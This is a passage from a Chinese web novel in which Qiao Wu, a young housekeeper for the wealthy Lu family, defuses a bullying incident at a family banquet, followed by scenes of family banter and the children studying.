所以她暂且搁置下手里的事情:“怎么了呢?” “我觉得他们很奇怪。”陆柠是不太能想通,“他们认识,那几个人让郭力言像讨好陆应池那样讨好他们。” 陆柠不太懂成年人之间的那些弯弯绕绕,她只是代入了一下。 郭力言讨好陆应池的方式就是来家里玩,然后跟她玩,给她送礼物。 这些事情在陆柠的接受范围内,因为乔梧说了,这是郭力言为了得到什么东西使用的手段。 所以郭力言答应这些人走的时候,她没有阻止。 她只是觉得这些人说话让她不舒服,所以跟了上来。 “可他们跟陆应池不一样。”她说。 至少陆应池不会用那种语气跟人说话。 乔梧听完就知道发生了什么,那些人明显就是来找郭力言的麻烦,当然不一样。 但事实上她每天要处理的事情很多,也不是什么观世音菩萨普度众生,她跟郭力言素不相识,没有找到她头上的事她也不会多余分出精力去管,只要不涉及到底线,别人的命运她不会主动去掺和。 就像当初的廖廖,如果不是对方鼓起勇气来认识她,乔梧不会多余提醒对方。 如果不是钟禾静开口询问,乔梧也不会插手管一点钟闵的破事。 命还是自己改变比较好。 上一次她已经因为郭力言对陆柠的袒护,已经出口帮了他一次,也算是两清了。 “你想管?”乔梧问。 “所以我没有猜错对吧。”陆柠望着桌上的礼物。 “我的礼物。”她说,“既然他给我的是我想要的,我是不是也可以给他甜头?” 看来那天饭桌上的话不仅陆应池听进去了,陆柠也听进去了。 乔梧笑了笑,站起身来:“那就去礼物拆好了。” 陆柠不解。 但她还是抱着东西跟在乔梧身后,这次与郭力言他们只相隔一个屏风坐下了。 乔梧说:“喜欢就拆开玩吧。” 陆柠低头将自己的礼物盒打开,里面除了娃娃,还有好些可爱的绒绒玩具,她的确很喜欢。 负责这个茶室的佣人上前看到是小小姐和小乔管家换了位置,便问:“要给您泡茶吗?” 陆柠抬头望了乔梧一眼,对方只是朝她微微颔首。 她虽然不太理解这个动机是什么,但却知道乔梧是在示意她保持普通状态就好。 “我 要喝果汁。“陆柠说,“再多拿一点漂亮的小蛋糕过来,谢谢。” “好的。” 佣人下了楼。 秦天睿听到后面小孩的声音,往后看了一眼,从屏风缝隙中见只有一个小姑娘在那玩娃娃,也没太在意。 可目光再一挪,却看到了刚才那个女人。 女人面对他们而坐,这次距离更近,甚至连对方脸上的表情都能看得一清二楚。 她脸上挂着淡淡的笑意,像是察觉他的视线,轻轻抬了下眼看过来。 秦天睿被那双漂亮眸子看得愣了下神。 怎么坐过来了? 他下意识想要开口,却意识到相隔着一个屏风,而且对方已经移开了视线没再看他。 这一刻秦天睿心里莫名轻了轻,不耐地催促郭力言:“怎么,泡个茶都不会?” 刚才那一瞬间郭力言听出了陆柠和乔梧的声音,他忍不住想多往旁边看几眼,但最终还是忍了下来。 算了,之前的狼狈不也被看到了么。 郭力言:“抱歉。” 他知道自己的位置在哪,所以站在之前佣人的位置上,泡茶的每一个步骤他做了千遍万遍,早就铭记于心。 只是故意让他泡茶的人当然不只是想喝茶那么简单,而是要看他出丑。 秦天睿见他将开水拿起来,故意蹬了一脚桌子,如愿看到水洒出来后不悦道:“你就这么讨好别人的?泡个茶都泡不好。” 郭力言说了声抱歉,忽略通红的手背继续动作。 只是等他泡好了茶,这几人却不愿意喝了。 秦天睿说:“我忽然想喝酒,你去下面拿点酒上来。” 另外几人也纷纷要求:“顺便拿点水果吧,再拿点冰块。” “我也要漂亮的蛋糕。” “磨磨蹭蹭干什么呢?” 那边三言两语地说着,乔梧并不能听得很清楚,毕竟谁都不会在这里大吵大闹。 只看见了对方被水烫到的动作,确定那边的确发生了不愉快后,她点了点陆柠的手臂:“去邀请你的客人来这里喝茶。” 陆柠秒懂,她立刻朝后面的人大声喊:“郭力言,你要跟我一起吃蛋糕吗?” 郭力言才站起来的动作忽然停了下来,错愕地望向旁边的茶室。 可那个人依旧坐在那里品着茶,仿佛陆柠说这句话跟她没有任何关系一样。 而秦天睿几人听到一直关注的隔壁有了动静,声音也戛然而止,纷纷扭头看过去。 陆柠从屏风后面探出头:“我让佣人拿来了好多蛋糕,我吃不完,你也来一起吃吧。” “我……” 郭力言还没说话就被秦天睿打断了:“他现在是我的客人。” 虽然秦天睿不知道对方是谁,但对方突然换了位置,又有一个小孩在这个时候出现,来替郭力言解围的意图就太明显了。 秦天睿感到不太舒服,因为这也意味着他刚才那些行为对面全都看得一清二楚? “总要有先来后到。”秦天睿说,“你们想邀请他喝茶,不如跟我们一起?” 这话陆柠不知道要怎么接,只好回头望向乔梧。 这时候的乔梧终于抬起头来,她站起身朝陆柠伸出手。 陆柠牵着她的手站起来。 乔梧轻笑:“不是跟你说过邀请客人要有礼貌,怎么能坐着跟人说话?” 一直坐着、却让郭力言站着的秦天睿脸色铁青。 他盯着隔壁那个纤长的身影,直到对方绕过屏风走了出来。 在场所有人目光顿时一滞。 比起隔着屏风的朦胧惊鸿一瞥,直面对方的脸更能带来视觉上的冲击。 女人身形格外高挑,穿着米白色的手工西装三件套,西装外套并没有那么规则,版型设计稍宽,而里面她穿的并不是衬衫,而是只有一件马甲。 耳饰和项链是同系列的钻石珠宝,项链在V型马甲之上的留白垂落,衬得她纤细的脖颈和锁骨更加禁欲和神秘。 她含笑的眼眸微垂,浅瞳带着摄人心魄的魅力。 询问身边女孩的声音也比之前更近,更加清晰可闻,温柔却又透着股漫不经心。 “刚刚你要说什么?” 陆柠立刻道:“我邀请郭力言去吃蛋糕。” 秦天睿问:“你是谁?” 嘴上在问陆柠,可他视线的终点却是乔梧。 乔梧对他对视上,不徐不疾道:“她是陆老先生唯一的孙女,陆家几个少爷唯一的侄女。” 秦天睿震惊地望着那个小小的女孩。 陆家的确有个孙女,但一直都没什么存在感,毕竟陆家几个兄弟还常常露面,但这个孙女却从来没人见过。 秦天睿心里骂了一句脏话。 他果然跟陆家的人犯冲! 这样一来他更加不想把人让出去了,所以他站起身来。 莫名的,他觉得那个小丫头说话根本没什么魄力,反而一直在看着这个女人的示意说话,所以又问:“那你又是谁?” 据他所知,陆家一个女儿都没有。 乔梧:“陆家的管家。” 管家?! 所有人愣在原地。 秦天睿被这种荒唐感给气笑了。 更荒唐的是,这么年轻的一个管家,而他居然还被对方的气场给糊弄到了。 可到底这里是陆家,他再怎么不满也要顾及到自己家的脸面,便道:“既然这样,那就一起来喝茶吧。” “不敢。”乔梧指尖抵住郭力言的手肘,将郭力言被烫伤的手向上抬起,淡声道,“秦先生的待客之道比较特殊。” 这话里的挤兑秦天睿怎么可能听不懂。 “我看你挺敢的。”他脸色垮下来,“你们陆家的管家这么没有礼数,还来抢别人的客人?” 乔梧笑了声。 “秦先生,今天每一个在场的客人都是我亲手拟名单邀请来的。”她温声问,“所以现在您是打算在伤了陆家的客人后,坐在陆家的茶座上,跟陆家的人分清谁是主谁是客吗?” 第32章 第三十二章二更 眼前女人说话的声音称不上大,甚至还有几分婉转的味道。 可说出的话落到每一个人的耳朵里却格外刺耳。 这不分明在骂秦天睿分不清主次么。 跟秦天睿一起来的几个少爷小姐都被这架势唬得愣是好半天找不到自己的声音。 他们一时之间居然不知道到底秦天睿和这个管家,谁在气势上占了上风,这可是秦天睿啊,又不是什么阿猫阿狗,平时他出去不都得横着走,现在居然被一个管家给教训了? 不仅是他们,连秦天睿自己都被气懵了。 他家也有管家,但管家一口一个少爷生怕他哪里不满意给他踢出家门,眼前这女人凭什么?! 原本他还有要结识对方的想法,可现在却被对方眼里的云淡风轻给刺激得脸上无光。 他从心底冒出一股无名火,恼羞成怒:“你……” 没等他说完话,一道沉沉的男声从后面将他打断:“秦天睿。” 紧绷的秦天睿差点咬到自己的舌头,生生咽下余下的话。 沉稳的脚步声从后面传来,乔梧看到来人有些惊讶。 因为除了她特意叫来的人,还多了几个。 “原来你在这儿。”钟禾静像是没看见气氛有多焦灼一样,自然而然地走到她身边,“还想说给你打个招呼,找了一圈都没见到人。” 乔梧玩笑道:“我在幕后。” 跟在钟禾静身边的钟闵扫视了一眼周围的情况,也喊了一声:“乔小姐。” 几个小辈惊讶地看着钟禾静姐弟两跟这个女人熟络。 钟家瘦死的骆驼比马大,毕竟以前钟禾静身体好的时候也是有头有脸的人物,所以很多人都会给钟禾静一个面子。 这个女人只是一个管家,居然也要钟家姐弟两特意找她打招呼? 乔梧朝钟闵点了下头,目光又落在另外一个穿着黑色西装的高大男人身上:“秦总。” 男人冷厉的眉眼扫过在场所有人,几个年轻的小辈不约而同低下头,不敢再多说一个字。 秦天睿不情不愿地吭声:“哥。” 男人没有理他,视线一直停留在眼前的陌生女人身上:“你给我发的信息?” 他的私人号码知道的人很少,所以刚才收到陌生号码的消息时还怀疑了一瞬,直到走进宴会厅看到二楼的确站了不少人。 信息上这个女人自称自己是陆家的管家。 “乔梧?”秦敛念出她在信息上留下的名字。 乔梧:“是我。” 在她得到的资料里,有些关键人物的私人联系方式是存在的,乔梧早就把这些号码存了下来。 俗话说不当家不知柴米油盐贵,秦天睿这种被娇养惯了的二世祖一直站得 很高,以为权力金钱就是一切,但却不知道在圈子里得体的社交和体面也是最重要的。 不过没关系,秦天睿不知道的事,有其他人知道,而这个人一定管得住他。 所以乔梧在过来这个茶座之前就给秦敛发了消息,作为秦氏如今的掌权人,秦敛自然知道自己的弟弟做的事是对是错,他再怎么高高在上,在这个时候都要为了自家的体面低下头。 秦敛过来没有开始就袒护自己的弟弟就说明她料想得不错。 她笑道:“酒会还没开始,秦总的弟弟就有点醉了。” 秦敛在商场上浮沉这么多年,自然没有忽略在他上楼走过来时乔梧不经意看过来的眼神。 那句所谓的“主客”,不仅是说给秦天睿听的,更是说给他听的。 他与钟禾静也算是从小相识,刚才在门口遇到时便说了几句话,也是一起走进宴会厅的。 看到二楼的情况时他听钟禾静喊了一声乔梧。 他当时问:“你们认识?” 陆家以前的老管家秦敛认识,年纪很大了。 但在他的预想之内,即便再怎么换管家,也不会是一个年轻甚至看起来更像是世家小姐的人。 “她是个很神奇的人。”当时钟禾静是这么评价的,“当你以为她是一个样子时,她会突然给你展现更加让人惊喜的一面,我目前还没分清楚真正的她是什么样,但毋庸置疑的是,不管是什么样她都很清醒理智。” 秦敛对此不置可否。 但以他对钟禾静的了解,这个人过去以利益为先,做事的手段也十分果决,所以她看上的人不会差到哪里去。 事实证明,当秦敛走上来看到乔梧真实样貌气质的时候,真的有一种想把自己那个蠢货弟弟一脚踹下楼的冲动。 废物东西,连个管家都压不过。 以他对自己这个蠢货弟弟的了解,并不难猜出发生了什么,这里人多嘴杂,被人多看去一眼都不知道能编排出什么来。 秦敛清楚乔梧说这句醉酒的话,是要给秦天睿一个台阶,所以他扫了秦天睿一眼:“该怎么做还用别人教,你很有脸是不是?” 秦天睿咬咬牙,心不甘情不愿地对郭力言道:“对不起。” 他哥,是真的会在人前动手的的人。 现在不道歉,一会儿就说不好了。 陆柠在旁边搭腔:“他还说我家乔梧没有礼数!” 秦敛脸色更沉。 见状秦天睿只好从齿缝又挤出几个字:“是我说错话了。” 悠然站着的乔梧这才轻轻笑道:“秦先生说的什么话,醉了就请先去楼上休息吧,需要我让人带你上去吗?” 每个宾客的休息室都是单独的,邀请函上会标明相应的房间号。 秦天睿已经没有脸继续待在这里了,更不愿再见到陆家的任何一个人,所以他狠狠说了“不用”两个字后转身匆匆离开,连他哥都没顾得上。 他几个朋友见状也忙说着告辞跑了。 “你也去楼上?”乔梧看向郭力言,“我已经让家庭医生过来了,一会儿去你房间给你处理伤口。” 郭力言的手背被烫得火辣辣的疼,哪怕是人路过时的风都能刮得他一激灵,但他没想到最让他难以忽略的,是刚才搭在手肘上那轻如鸿羽的微凉触感,他几乎是条件反射的就顺着那触碰抬起手来了,以至于对方把手放下后他还没回过神,刚才连秦天睿的道歉都没好好听。 其实像他这种人,已经习惯了别人这样的对待,他甚至能做到面不改色的面对,道不道歉已经不是最重要的了。 只是会偶尔有这么一刻,会觉得很难堪。 “谢谢。”他垂下眼睛,语速匆匆,“我先上去了。” 没有人拦着他,乔梧见他走了以后对身边的陆柠道:“给你小叔发个消息,让他照顾好自己的朋友。” 陆柠掏出手机:“噢!” 安排好了以后,乔梧才对面前的秦敛道:“不好意思,麻烦秦总走一趟。” 不好意思,秦敛看她挺好意思的。 毕竟把他晾到最后了。 但偏偏周到得让人挑不出什么错来,秦敛不由得想起钟禾静说的“理智清醒”。 眼前的人虽然年轻,但似乎眼前站着谁她眼神波动都不大,不卑不亢。 “是我那个不成器的弟弟不好意思才是。”秦敛说。 乔梧没否认,而是问:“要喝杯茶吗?” 这态度…… 秦敛笑了下。 客气都不带客气,她是真的一点都不收敛自己那点小心思啊。 “茶就不喝了。”他说,“宴会要开始了。” 更何况旁边还有个虎视眈眈的钟禾静。 秦敛清楚钟禾静打着要打招呼的名义跟着过来,心里无非也是担心他会给这个所谓的管家小鞋穿。 不过她多虑了。 秦敛想到自己走来时,乔梧余光看过来的那淡淡一眼。 心道,如果有谁真的会给这样的人小鞋穿,说不准会被对方狠狠反咬一口。 她很清楚对谁要说什么样的话。 但凡她说那句话的时候他不在,今天的秦天睿绝对会被激怒大闹陆家晚宴,所以乔梧卡在那个时间点,让同样听见这句话的他根本没有任何给秦天睿退路的选择。 钟禾静看了眼时间,问乔梧:“你要下去吗?” 乔梧摇头:“不了。” 这种场合她出不出现都无所谓,她并不喜欢在人前出什么风头。 “好。”钟禾静转身对钟时夏说,“下面人多,要不你在这里清静一点。” 她最近在清理身边的人,家里一个保姆都没留,做饭都是自己学着动手。 今天周末,钟时夏不用去学校,所以就把他一起带着过来了。 毕竟现在钟闵已经好好在学习怎么管理公司,既然进了这个圈子,钟时夏也该出来扩宽自己的眼界。 钟时夏点头。 他对这些陌生人没什么兴趣,对于自己待在那里也都没什么意见。 “对了。”钟禾静想起什么,问旁边的陆柠,“小陆柠,你跟时夏是同学,最近还有没有什么误会?” 她想着两个孩子是同学,如果有误会就再说开,没有的话更好。 陆柠:“没有。” 别说误会,她在学校基本都没跟钟时夏说话,因为她摸不清这个人的脑回路,担心说着说着这人哪里不对劲又要跟她打一架。 她现在是好好学习的上进少女。 钟禾静放心下来:“那你们要是都无聊,也可以一起玩。” 钟时夏没说话,但也没拒绝,反正他对陆柠没有什么敌意。 陆柠原本是不愿意的,可转念一想钟禾静想要挖走乔梧,她可以趁着这个机会打探一下敌情。 所以她干脆答应:“好啊。” 等人离开后,乔梧摸摸陆柠的脑袋,朝自己原本待的那个茶座走去:“你们玩,我去工作了。” “噢!”陆柠应声。 然后她朝钟时夏勾勾手指:“你过来,我跟你玩。” 钟时夏安静地跟在她身后,到了隔壁的茶座。 上面满满当当摆满了蛋糕和玩具,少女气息爆棚,一点都不像是宴会里该有的东西。 “我们玩真心话。”陆柠说,“我问你一个问题,你答对了,我就给你吃一块蛋糕。” 钟时夏看她一眼。 几秒后嗯了声。 陆柠不太懂一个公司的价值应该要怎么算,应该是看谁钱多吧。 所以她压低声音:“你见过你姐姐的保险箱吗?她实际有多少资产,她一般给自己最在意的员工分多少钱?” “……”钟时夏。 意识到自己不能再沉默下去,他问:“我 看起来像个笨蛋吗?” 陆柠惊讶:“你不是吗?” 钟时夏纠正她:“上次期末,我是全年级第一。” 陆柠:“……” “有什么了不起的。”她坐回去,轻哼,“我从小学到初中蝉联七年半全年级倒数第一,这是多牛逼的水准你懂么。” 钟时夏认真想了一下:“不懂。” 陆柠气得把所有的蛋糕都推到自己面前:“你不许吃。” 话才说完,她面前一杯果汁就被人抬走了。 “你也不许吃。” 陆柠愤愤抬头,看到是陆应池后皱眉:“干什么!” “自己什么情况不知道?”陆应池将那杯果汁一饮而尽,将空杯子盖在她面前,“什么都乱喝。” 刚才陆柠只是让佣人拿果汁上来,没有发现这些果汁里都加了冰块。 她看到杯底残留的冰块,嚣张的气焰顿时又低了下去,见陆应池身后站着郭力言,便探头问:“好了吗?” 由于是烫伤,郭力言手背上没有包起来,而是敷了药,还好没太严重。 “没什么事。”郭力言对他笑了笑,“谢谢。” “哦。”陆柠缩回脑袋,“我只是看在这些礼物的面子上。” 郭力言心想,那也足够了。 他从来没想到过没花多少钱的小礼物,能在今天给他这么大的帮助。 陆应池不乐意跟小孩玩,带着郭力言坐到了隔壁乔梧的茶座。 “非说要来跟你道歉。”陆应池不理解。 刚才是没见面吗?怎么现在才想起来道歉。 乔梧挑眉:“道歉?” 郭力言点头:“今天给你添麻烦了,实在抱歉。” “如果是你撞到我眼前来让我不得不管,那的确是添麻烦了。”乔梧笑道。 郭力言眼睫轻动。 下一秒,又听乔梧说:“但这是我们自己主动去管的,关你什么事,抱歉不是一个好词,别总挂在嘴上。” 郭力言忍不住抬起头,一下撞进对方含笑的眼睛里,喉咙不自主地发紧。 其实他最开始没有想到要下来,原本名他以为自己今晚就这样了,等到晚宴开始他下来看一眼陆尽之就可以悄无声息的离开。 可陆应池去了他休息的房间。 他朝陆应池道谢,为这次能来陆家的机会。 陆应池当时只是看着他的手背,骂骂咧咧:“去罗马一定要用这种方式吗?” 罗马? 郭力言从来不觉得自己这种人能够走到罗马,他顶多就是别人去罗马途中雇的一个轿夫。 但陆应池为什么会这么说? 后来他知道了,知道为什么陆应池会答应给他这个机会。 他也是第一次听到有人说,他卑微走过来的这一程,是他的手段、他的努力。 原来他在那个人的眼里那么透明,却又那么微不足道。 可这对他来说也是莫大的满足,至少他在对方眼里,是一个正常的人。 所以哪怕今晚在她面前被人踩得那么不堪,他也不愿意放弃这个机会,想看着她的眼睛亲口对她说声抱歉和谢谢。 以弥补前几次他的胆怯。 郭力言坐直身体,再一次道:“除了抱歉,还想说谢谢。” 谢谢她在他不知道的时候,维护了他的尊严。 这次乔梧没有再拒绝,点了下头:“嗯。” 这时屏风后面又闪进来一个人,陆宣看到这里面的场景,毫不客气地皱着眉坐下:“怎么都在这里?” 他从公司回来找了好大一圈都没看到人,还好问了一嘴。 想区别对待? 没门! “我有事跟你说。”他合上乔梧面前的资料。 “什么?” “晚宴的事今天也结束了,你应该能腾出一点时间。”陆宣整理了一下头发,“那个节目有个环节,录制入场和第一场表演的时候需要一个人陪同。” 其实节目流程上说的是亲朋好友的陪同,还让这人录制一些对参加节目演员的祝福和鼓励,一般都是家人。 但陆宣想了一下自己的家人。 算了,还是别想了。 他思来想去,只有一个人勉强符合这个要求。 就是他身边这个他不在意的员工了。 哦不,现在还有另一个身份,金主。 金主去看自己的……金丝雀?演戏,那不是太正常的事了吗? “你出趟差。”陆宣还是做了很大的思想斗争的,最后把自己身上唯一的卡放到她面前,在陆应池面前维持了自己最后的一点颜面,“这里的钱都是你的。” 他真的一点都没有了! 乔梧:“……” 所以到最后他愣是一分钱都没给自己留? “大手笔啊陆三少。”陆应池在一旁阴阳怪气地说,“你给我啊,我可以去,保准给你请个一条龙唢呐服务,给你一路吹到舞台上。” 他冷笑,学着当初陆宣的语气:“‘我又不在意她去哪?’,不在意?” 陆宣没说话,而是拿出手机,点开了一段录音。 里面陆应池的声音铿锵有力。 “不就是陆尽之么,给你一个看猴的机会。” “不就是陆尽之么,给你一个看猴的机会。” “不就是陆尽之么,给你一个看猴的机会。” …… 一遍一遍循环播放。 陆应池眼都瞪圆了:“陆宣你是不是想打架?!” 陆宣轻嗤:“你再狗叫?” 乔梧轻轻按住跳动的眉心。 坐在不起眼位置的郭力言看着这一幕,看着乔梧望这两个少爷含笑又无奈的眼神,心里忽然涌出一股冲动。 他想要站得高一点,至少让他也拥有一个可以让对方笑出来的底气,让他不用再绞尽脑汁也可以出现在她面前的地位。 而不是像过去一样,看她一眼都畏畏缩缩。 这边在骚动,楼下一直有序的声音也忽然停了一瞬。 乔梧若有所感,扭头朝楼下看去。 果然,一天没露面的陆尽之出现在宴会厅门口。 陆柠趴在护栏上,伸出个脑袋:“别吵了,猴猴猴!” 陆应池和陆宣齐刷刷停住动作,起身走到护栏前,虽然不是很想看到陆尽之,但来都来了。 去动物园都要花点钱,现在免费的不看白不看。 陆宣打量着陆尽之的穿搭,评价:“金丝猴。” 乔梧:“……” 她目光停在门口那人身上。 他穿着今年定制的早秋礼服,里衬香槟色的丝绸衬衫优雅又贵气,今天造型师将他的头发往后梳,只留下几缕散着,显得他成熟又有几分慵懒的随性,不用任何人刻意引导通知,他就已经成了全场瞩目的焦点。 徐朝站在他身后,替他拿了一杯酒。 但他没有那么高调地站去中间,而是站在原地接过酒。 全场就这么安静了下来,只看着他。 这个从十多年前就在圈子里扬名的年轻男人,只是站在那里举起酒杯,话都不用说就向所有人宣告。 他回来了。 在众人也举起酒杯的时候,却忽然见陆尽之的酒杯换了个方向,朝着那里点了点。 大家顺着他的视线看过去,只见二楼的角落茶座外靠着围栏站了好几个人。 两个长相卓越的年轻男人肩并肩站在一起,手不知道在后面搭着什么,轻轻扭动。 他们旁边有个穿着白色礼服的的小姑娘趴在围栏上,再旁边则是一个虚虚靠在墙壁上的女人,女人似乎拿着一杯茶,隔着人群与焦点中心的男人遥遥对望。 所以刚才那酒是……对那女人敬的? 有人低声说:“那是陆应池和陆宣。” “另外那个呢?” “好像是陆柠,他们大哥的女儿。” “我是说靠墙那个。” 一道干净低缓 的男声插了进来:“那个啊……” 说话的两人身体一颤,小心回头,发现陆尽之不知道什么时候走到了他们身后。 男人比他们要高得多,如墨的眉眼轻轻敛着,他收回视线抿了口酒,莞尔:“我家管家。” 第33章 第三十三章我跟你住 管、管家? 陆家的管家换人了吗? 那两人忍不住再次看向楼上的女人,此时她已经坐了下来没有再看下面,侧颜姣好,一举一动之间都透着吸引旁人的矜娇。 而陆应池和陆宣两个少爷不知道什么时候也回去了,不知道在说些什么,引得对面的女人频频发笑。 这哪像管家啊,明明就像是一家人在聊天。 等会儿,不是说陆家兄弟不合? 过去陆家的每一次宴会,几兄弟从未同过框,可今天这是全体都来了,就因为要欢迎陆尽之? 注意到这个细节的好多人暗暗在心底留下了心眼,陆家好像跟传闻中不太一样了。 晚上酒会的气氛因为陆尽之的到来达到顶峰,饶是陆尽之不喜欢应酬,在这种场合都会顾及到陆家的颜面多喝几杯,多说几句,等他再次抽空抬头看去时,二楼原本的位置已经没有什么人了。 本身陆应池和陆宣对这个宴会就没多大兴趣,过来只是露个面的。 今晚事情比较杂,乔梧也不可能一直坐在原地,没一会儿也出去开始安排客人们离开的事情。 至于陆柠,她发现自己根本套不出来这个一根筋的人什么话,十分挫败的她在茶座坐了一会儿就坐不住了。 自从她二叔来了以后,这里就变得有些喧闹。 而且也不知道为什么,好像往二楼来的人越来越多,还有些甚至知道她是谁过来问候。 陆柠不太喜欢被人打扰,时刻准备开溜。 但既然已经答应了钟禾静要带这个呆子一起玩,她也不会轻易食言,所以她把自己的礼物收起来:“你要待在这里,还是跟我出去。” 钟时夏往楼下看了一眼,哥哥姐姐都还在忙,比起陌生人,跟认识的陆柠待在一起可能会好一点,于是他也跟着站起身。 走出宴会厅他才问:“去哪?” “你不是年级第一么。”陆柠恶劣地说,“带你去写作业。” 钟时夏:“……” 五分钟后两人来到了藏书楼。 陆柠埋头在电脑里翻了好一会儿,终于找出好几本中学生奥数习题集。 藏书楼里的书当然不止名家名作,为了让家里的孩子好好学习,从一年级到高中三年级的各种版本习题册都很多,否则也不会有那么多书。 陆柠觉得自己作为主人做到这一步已经相当够意思了。 她把厚厚的习题摆到钟时夏面前:“呐,给你玩。” “。” 钟时夏眼神很复杂地看了她一眼,但总归这里比较安静,比刚才那个地方好多了,所以他也没有拒绝,安静坐在桌前拿起笔和草稿纸开始做题。 不用多余再跟这个呆子说话,陆柠十分放松,捡起自己没看完的书继续看,互不搭理。 她已经快要把那本《苏菲的世界》看完了,翻到最后一页时看到了那张便签纸,忍不住拿起来钻研了一下。 其实她没太看得懂这本书,所以想要留下点什么都不知道怎么写。 “喂,你看过这本书吗?”她问身边埋头写题的钟时夏。 后者看过来,点头。 “那你知道苏菲的船去哪了吗?” 钟时夏回忆了一下这本书的内容,然后认真道:“它只是一个象征,并没有真正的指代方向,毕竟书里她只是解开了船绳子。” 陆柠皱眉:“叽里咕噜说什么呢,一句也没听懂。” 钟时夏没指望自己跟蝉联七年半年级倒数第一还十分自豪的人能有什么共鸣,但在看到那张便签上的字后眼睛却微微一亮。 “这是什么?” “我二叔和乔梧写的。”陆柠说,“跟你的答案不一样。” “我觉得这个答案写得很好。” 钟时夏捏着笔:“我能写吗?” “不可以。”陆柠立刻把书合上,“你见过我二叔了吧,就是那只猴。” 虽然不理解为什么有人要把自己的叔叔叫做猴,还是那么万众瞩目的人,但钟时夏表示尊重:“见过。” “就是他,他很凶。”陆柠说,“他不允许这里面出现其他人的字。” “这不是两个人的字吗?” “对,只能他跟乔梧写。”陆柠撇嘴,“他是不是很奇怪?” 后来她试过悄悄在里面塞便签,但每次再回来那张便签永远都被人放在桌上,除了陆尽之还有谁干这种事。 “不奇怪。” “啊?” 钟时夏平静地说:“猴叔叔喜欢乔梧吧?” “啊???” 钟时夏:“喜欢才有特权。” 在他的认知里喜欢和讨厌是最简单不过的两种情感。 如果他的世界只有特定的某个人可以某件事,那他一定喜欢那个人。 就像他只允许哥哥进入自己的房间一样。 陆柠盯着手里的便签陷入沉思。 她回想了一下陆尽之对乔梧的态度,出国前几乎跟乔梧没有任何交流。 至于回国后好像也并没有特别关注过乔梧,不像陆应池和陆宣天天围着乔梧转。 他对谁都那副样子,根本看不出来谁是他的特权。 昨天在广场外偶遇上车,他也只是说了句报平安,然后把她跟乔梧放在停车场后就走了。 陆柠摇头:“不会的。” 他不让放便签说的也是她的字丑。 钟时夏只是表达自己的看法,并没有想劝服她什么,所以没有与她争论。 过了没一会儿,钟禾静那边打来电话说要回去了,钟时夏便把桌上的东西都整理好:“我要走了,谢谢款待。” 陆柠看了眼那密密麻麻的草稿纸,心里腹诽:果然是个呆子,这都能算款待。 她带钟时夏回去,才到宴会厅外,正好与迎面走来的陆尽之打了个照面。 钟时夏没有忘记哥哥姐姐说过要有礼貌,而且他很尊重别人家的家庭文化,所以他主动问好:“猴叔叔好。” 陆尽之一下子没太反应过来这是在叫他。 陆柠:“!!!” 她疯狂摇头:“不不不,你……你胡说什么!” “你不是说……” 陆柠一把捂住他的嘴,把他往大门里踹:“你快闭嘴吧!” 再一回头,陆尽之正似笑非笑地看着她:“怕我是应该的。” 真该死啊钟时夏! 陆柠很想直接把陆应池出卖了,但一想到自己未来还要在他手底下写作业又只好忍气吞声,小声狡辩:“不要跟他一般见识,他笨笨的,说话还有口音,他可能是想说,叔叔雷猴……” 陆尽之真的很怀疑陆柠是不是基因变异了:“不要拿你头上那二两猪头肉来衡量别人的脑子。” “……” 你Mua的陆尽之! 你就是猴!你金丝猴!大马猴! 宴会接近尾声,陆尽之不想再跟迎客松似的应付那些人,所以拐上了一条回主宅的小路。 陆柠看他是要回主宅,便不远不近地缀在他身后。 但边走却忍不住偷看陆尽之的背影,脑海里一直回想起刚才钟时夏说的话,感觉怪怪的。 “二叔。”不过最近她胆子大了点,而且仗着陆尽之没有回头看自己,陆柠鼓起勇气小声问,“乔梧在你这里有特权吗?” 其实她并没有抱着太大希望。 陆应池和陆宣两人明明在意得要死,天天跟她抢乔梧,今天陆宣甚至都光明正大用钱买乔梧的时间了,但他们依旧嘴比鸭硬。 换做是陆尽之这种不在意的,那就更没答案了。 她小小的勇气又熄灭掉。 下一秒,一个淡淡的“有”字却落在 她的耳旁。 陆柠瞪大眼睛不可置信地望着那个步伐一点停顿都没有的背影。 有?! 她受到的惊吓甚至远远超过了胆怯,所以她又往前走了几步紧追不舍问:“那你是喜欢乔梧吗?” 小小年纪的陆柠对于喜欢的理解还很浅显,喜欢就是喜欢,没有其他意思,所以问得也很直白。 可她忘了自己眼前的人已经27岁了。 陆尽之停下脚步,侧过头看她,路灯下他那双带着浅浅酒意的眸子更加幽深。 “你说什么?” “就是……”陆柠顿时又缩了回去,哔哔道,“刚才那个人说,喜欢才有特权。” 陆尽之轻轻蹙眉。 这些小孩每天在讨论的都是什么话题,题不够做了? 但他不喜欢被人强行装上莫须有的头衔,所以他垂着眼道:“不喜欢。” “那为什么有特权?” 跟笨蛋说话的确很费心力,担心自己被笨蛋传染,陆尽之收回视线继续往前走,语气平缓:“因为认可。” 认可这个人的存在,认可她的能力,也认可与她之间曾经相交的过去。 这些过去可以让乔梧在他的面前拥有特权。 但这并不是喜欢,不可以混为一谈。 严格说起来,他与乔梧的上一次见面是在十二年前,那时的乔梧再怎么聪明也不过十岁。 虽然害怕陆尽之,但陆柠从来不怀疑他话里的真假,所以颇为失望:“噢。” 这声幽怨实在过于明显,陆尽之不太明白她的脑回路。 “要说什么?” 陆柠撇撇嘴:“不喜欢就算了,我再多存存钱,再多争点气。” “存钱?” “钟禾静,就是刚才那个男生的姐姐,想要挖乔梧走的,说要给她公司的分红。” 陆柠的确觉得如果二叔真的喜欢乔梧会很好,毕竟这个家里最有钱的只有二叔了,如果二叔喜欢,那以后谁也不能用金钱撬走乔梧。 陆柠失落地看着地面:“乔梧还说她会考虑。” 然后她就看到路灯下,那个高大修长的影子蓦的停住了。 陆柠:“?”- 虽然陆宣那张卡里只有五万块钱,还是自己给的,但乔梧还是收拾东西答应了这次“出差”,毕竟家里除了她的确没有别人可以做这份工作。 陆尽之要上班,陆应池和陆柠都要上学。 而且……她担心要是其他人去节目,到时候说不准节目组就会爆发鸡犬大战。 一大早,上班上学的来到餐厅时都没发现乔梧的身影。 “乔梧呢?”陆应池问。 佣人说:“小乔管家跟三少爷出差了,周四才会回来,她说有事可以给她打电话。” “哼。”陆应池才不会打电话,“一张卡就能把她收买了,还打电话给她做什么,到底多少钱啊。” 五万。 坐在另一边曾经目睹全程的陆尽之心想。 前几天的他还在跟徐朝说,不要用廉价的镜头去衡量乔梧的价值,今天她就被五万块钱哄去外地四天。 他想起前一天陆柠的话,钟禾静给的分红,她的确有可能考虑。 但陆尽之有自己的天秤,就像他曾经跟陆江说过的,没有任何人的工作不可取代,所以如果乔梧的工资高于她能力的价值,那他就不会再继续留下这个人。 